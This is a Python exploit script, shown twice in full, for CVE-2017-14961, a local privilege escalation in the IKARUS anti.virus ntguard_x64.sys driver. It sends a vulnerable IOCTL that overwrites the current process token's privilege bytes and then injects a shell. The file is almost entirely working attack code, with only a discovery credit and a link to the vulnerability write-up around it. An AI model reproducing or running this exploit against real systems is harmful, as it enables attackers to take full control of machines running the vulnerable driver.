#discovery by @ParvezGHH
#vulnerability description: https://www.greyhathacker.net/?p=995

from kex import *
from ctypes import *
from ctypes.wintypes import *
import os

if __name__ == '__main__':

	print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
	print "[*] Will only work from medium integrity process"
	print "[*] CVE-2017-14961"
	
	IOCTL_VULN	= 0x8300000c
	DEVICE_NAME   = "\\\\.\\ntguard"
	dwReturn	  = c_ulong()
	print '[*] Trying to open ntguard'
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
	if driver_handle == INVALID_HANDLE_VALUE:
		print "[-] Coudn't open driver, exiting..."
		sys.exit(-1)

	print '[+] Opened ntguard'
	token_address = token_address_of_process(HANDLE(kernel32.GetCurrentProcess()), os.getpid())
	SEP_TOKEN_PRIVILEGES = 0x40
	token_PresentByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0x2
	token_EnableByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0xa
	
	inputbuffer = None
	inputbuffer_size = 0
	outputbuffer_size = 0
	IoStatusBlock = c_ulonglong()
	print "[*] Talking to the driver sending vulnerable IOCTL..."
	
	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_PresentByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_EnableByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
	inject_shell()


#discovery by @ParvezGHH
#vulnerability description: https://www.greyhathacker.net/?p=995

from kex import *
from ctypes import *
from ctypes.wintypes import *
import os

if __name__ == '__main__':

	print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
	print "[*] Will only work from medium integrity process"
	print "[*] CVE-2017-14961"
	
	IOCTL_VULN	= 0x8300000c
	DEVICE_NAME   = "\\\\.\\ntguard"
	dwReturn	  = c_ulong()
	print '[*] Trying to open ntguard'
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
	if driver_handle == INVALID_HANDLE_VALUE:
		print "[-] Coudn't open driver, exiting..."
		sys.exit(-1)

	print '[+] Opened ntguard'
	token_address = token_address_of_process(HANDLE(kernel32.GetCurrentProcess()), os.getpid())
	SEP_TOKEN_PRIVILEGES = 0x40
	token_PresentByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0x2
	token_EnableByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0xa
	
	inputbuffer = None
	inputbuffer_size = 0
	outputbuffer_size = 0
	IoStatusBlock = c_ulonglong()
	print "[*] Talking to the driver sending vulnerable IOCTL..."
	
	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_PresentByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_EnableByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
	inject_shell()


#discovery by @ParvezGHH #vulnerability description: https://www.greyhathacker.net/?p=995